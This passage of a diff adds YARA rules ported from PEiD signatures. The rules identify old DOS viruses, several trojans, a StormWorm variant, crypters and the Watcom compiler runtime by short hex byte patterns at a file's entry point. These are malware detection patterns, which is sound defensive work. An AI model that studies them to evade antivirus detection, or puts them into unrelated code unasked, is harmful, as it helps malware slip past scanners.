+        $a = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03370_Vx__August_16th__Iron_Maiden__
+{
+    meta:
+        description = "[Vx: August 16th (Iron Maiden)]"
+        ep_only = "true"
+    strings:
+        $a = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03371_Vx__Backfont_900_
+{
+    meta:
+        description = "[Vx: Backfont.900]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03372_Vx__Caz_1204_
+{
+    meta:
+        description = "[Vx: Caz.1204]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03373_Vx__CIH_Version_1_2_TTIT____WIN95CIH____
+{
+    meta:
+        description = "[Vx: CIH Version 1.2 TTIT (! WIN95CIH !)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03374_Vx__Compiler_
+{
+    meta:
+        description = "[Vx: Compiler]"
+        ep_only = "true"
+    strings:
+        $a = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03375_Vx__Danish_tiny_
+{
+    meta:
+        description = "[Vx: Danish tiny]"
+        ep_only = "true"
+    strings:
+        $a = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03376_Vx__Doom_666_
+{
+    meta:
+        description = "[Vx: Doom.666]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03377_Vx__Eddie_1028_
+{
+    meta:
+        description = "[Vx: Eddie.1028]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03378_Vx__Eddie_1530_
+{
+    meta:
+        description = "[Vx: Eddie.1530]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03379_Vx__Eddie_1800_
+{
+    meta:
+        description = "[Vx: Eddie.1800]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03380_Vx__Eddie_2000_
+{
+    meta:
+        description = "[Vx: Eddie.2000]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03381_Vx__Eddie_2100_
+{
+    meta:
+        description = "[Vx: Eddie.2100]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03382_Vx__Eddie_based_1745_
+{
+    meta:
+        description = "[Vx: Eddie.based.1745]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03383_Vx__Einstein_
+{
+    meta:
+        description = "[Vx: Einstein]"
+        ep_only = "true"
+    strings:
+        $a = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03384_Vx__Explosion_1000_
+{
+    meta:
+        description = "[Vx: Explosion.1000]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03385_Vx__FaxFree_Topo_
+{
+    meta:
+        description = "[Vx: FaxFree.Topo]"
+        ep_only = "true"
+    strings:
+        $a = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03386_Vx__Gotcha_879_
+{
+    meta:
+        description = "[Vx: Gotcha.879]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03387_Vx__Grazie_883_
+{
+    meta:
+        description = "[Vx: Grazie.883]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03388_Vx__GRUNT_1_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.1.Family]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? 00 31 17}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03389_Vx__GRUNT_2_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.2.Family]"
+        ep_only = "true"
+    strings:
+        $a = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03390_Vx__GRUNT_4_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.4.Family]"
+        ep_only = "true"
+    strings:
+        $a = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03391_Vx__Hafen_1641_
+{
+    meta:
+        description = "[Vx: Hafen.1641]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03392_Vx__Hafen_809_
+{
+    meta:
+        description = "[Vx: Hafen.809]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03393_Vx__Haryanto_
+{
+    meta:
+        description = "[Vx: Haryanto]"
+        ep_only = "true"
+    strings:
+        $a = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03394_Vx__Heloween_1172_
+{
+    meta:
+        description = "[Vx: Heloween.1172]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03395_Vx__Horse_1776_
+{
+    meta:
+        description = "[Vx: Horse.1776]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03396_Vx__Hymn_1865_
+{
+    meta:
+        description = "[Vx: Hymn.1865]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03397_Vx__Igor_
+{
+    meta:
+        description = "[Vx: Igor]"
+        ep_only = "true"
+    strings:
+        $a = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03398_Vx__Involuntary_1349_
+{
+    meta:
+        description = "[Vx: Involuntary.1349]"
+        ep_only = "true"
+    strings:
+        $a = {?? BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03399_Vx__KBDflags_1024_
+{
+    meta:
+        description = "[Vx: KBDflags.1024]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03400_Vx__Keypress_1212_
+{
+    meta:
+        description = "[Vx: Keypress.1212]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03401_Vx__Kuku_448_
+{
+    meta:
+        description = "[Vx: Kuku.448]"
+        ep_only = "true"
+    strings:
+        $a = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03402_Vx__Kuku_886_
+{
+    meta:
+        description = "[Vx: Kuku.886]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03403_Vx__Modification_of_Hi_924_
+{
+    meta:
+        description = "[Vx: Modification of Hi.924]"
+        ep_only = "true"
+    strings:
+        $a = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03404_Vx__MTE__non_encrypted__
+{
+    meta:
+        description = "[Vx: MTE (non-encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03405_Vx__Ncu_Li_1688_
+{
+    meta:
+        description = "[Vx: Ncu-Li.1688]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03406_Vx__Necropolis_1963_
+{
+    meta:
+        description = "[Vx: Necropolis.1963]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03407_Vx__Necropolis_
+{
+    meta:
+        description = "[Vx: Necropolis]"
+        ep_only = "true"
+    strings:
+        $a = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03408_Vx__Noon_1163_
+{
+    meta:
+        description = "[Vx: Noon.1163]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03409_Vx__November_17_768_
+{
+    meta:
+        description = "[Vx: November 17.768]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03410_Vx__Number_One_
+{
+    meta:
+        description = "[Vx: Number One]"
+        ep_only = "true"
+    strings:
+        $a = {F9 07 3C 53 6D 69 6C 65 3E E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03411_Vx__Phoenix_927_
+{
+    meta:
+        description = "[Vx: Phoenix.927]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03412_Vx__Predator_2448_
+{
+    meta:
+        description = "[Vx: Predator.2448]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03413_Vx__Quake_518_
+{
+    meta:
+        description = "[Vx: Quake.518]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03414_Vx__SK_
+{
+    meta:
+        description = "[Vx: SK]"
+        ep_only = "true"
+    strings:
+        $a = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03415_Vx__Slowload_
+{
+    meta:
+        description = "[Vx: Slowload]"
+        ep_only = "true"
+    strings:
+        $a = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03416_Vx__Sonik_Youth_
+{
+    meta:
+        description = "[Vx: Sonik Youth]"
+        ep_only = "true"
+    strings:
+        $a = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03417_Vx__Spanz_
+{
+    meta:
+        description = "[Vx: Spanz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03418_Vx__SYP_
+{
+    meta:
+        description = "[Vx: SYP]"
+        ep_only = "true"
+    strings:
+        $a = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03419_VX__Tibs_Zhelatin__StormWorm__variant_
+{
+    meta:
+        description = "[VX: Tibs/Zhelatin \"StormWorm\" variant]"
+        ep_only = "true"
+    strings:
+        $a = {FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03420_Vx__TravJack_883_
+{
+    meta:
+        description = "[Vx: TravJack.883]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03421_Vx__Trivial_25_
+{
+    meta:
+        description = "[Vx: Trivial.25]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03422_Vx__Trivial_46_
+{
+    meta:
+        description = "[Vx: Trivial.46]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03423_Vx__Trojan_Telefoon_
+{
+    meta:
+        description = "[Vx: Trojan.Telefoon]"
+        ep_only = "true"
+    strings:
+        $a = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03424_Vx__Uddy_2617_
+{
+    meta:
+        description = "[Vx: Uddy.2617]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03425_Vx__VCL__encrypted__
+{
+    meta:
+        description = "[Vx: VCL (encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03426_Vx__VCL__encrypted__
+{
+    meta:
+        description = "[Vx: VCL (encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03427_Vx__VCL_
+{
+    meta:
+        description = "[Vx: VCL]"
+        ep_only = "true"
+    strings:
+        $a = {AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03428_Vx__VirusConstructor_IVP__based_
+{
+    meta:
+        description = "[Vx: VirusConstructor(IVP).based]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03429_Vx__VirusConstructor_based_
+{
+    meta:
+        description = "[Vx: VirusConstructor.based]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03430_Vx__VirusConstructor_based_
+{
+    meta:
+        description = "[Vx: VirusConstructor.based]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03431_Vx__XPEH_4768_
+{
+    meta:
+        description = "[Vx: XPEH.4768]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03432_Vx__XRCV_1015_
+{
+    meta:
+        description = "[Vx: XRCV.1015]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03433_W32_Jeefo__PE_File_Infector__
+{
+    meta:
+        description = "[W32.Jeefo (PE File Infector)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03434_WARNING____TROJAN____ADinjector_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> ADinjector]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03435_WARNING____TROJAN____HuiGeZi_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> HuiGeZi]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03436_WARNING____TROJAN____RobinPE_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> RobinPE]"
+        ep_only = "true"
+    strings:
+        $a = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03437_WARNING____TROJAN____XiaoHui_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> XiaoHui]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03438_Warning__may_be_SimbyOZ_polycryptor_by_3xpl01t_ver_2_xx__25_03_2007_22_00__
+{
+    meta:
+        description = "[Warning! may be SimbyOZ polycryptor by 3xpl01t ver 2.xx (25.03.2007 22:00)]"
+        ep_only = "true"
+    strings:
+        $a = {57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03439_WATCOM_C_C___32_Run_Time_System_1988_1994_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1994]"
+        ep_only = "true"
+    strings:
+        $a = {FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03440_WATCOM_C_C___32_Run_Time_System_1988_1995_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1995]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03441_WATCOM_C_C___32_Run_Time_System_1988_1995_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1995]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D ?? 43 2F 43 2B 2B 33 32 ?? 52 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03442_WATCOM_C_C___32_Run_Time_System_1989__1994_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1989, 1994]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03443_WATCOM_C_C___DLL_
+{
+    meta:
+        description = "[WATCOM C/C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03444_WATCOM_C_C___Run_Time_system_DOS4GW_DOS_Extender_1988_93_
+{
+    meta:
+        description = "[WATCOM C/C++ Run-Time system+DOS4GW DOS Extender 1988-93]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E D7 81 C4 ?? ?? BE ?? ?? 2B F7 8B C6 B1 ?? D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03445_Watcom_C_C___
+{
+    meta:
+        description = "[Watcom C/C++]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20}
+    condition:
+        $a
+}
+
+rule PEiD_03446_Watcom_C_C___
+{
+    meta:
+        description = "[Watcom C/C++]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20 31 39 38 38 2D 31 39 39 35 2E 20 41 6C 6C 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03447_WebCops__DLL_
+{
+    meta:
+        description = "[WebCops [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03448_WebCops__EXE_
+{
+    meta:
+        description = "[WebCops [EXE]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03449_Werus_Crypter_1_0___by_Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03450_Werus_Crypter_1_0____Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 -> Kas]"
+        ep_only = "false"
+    strings:
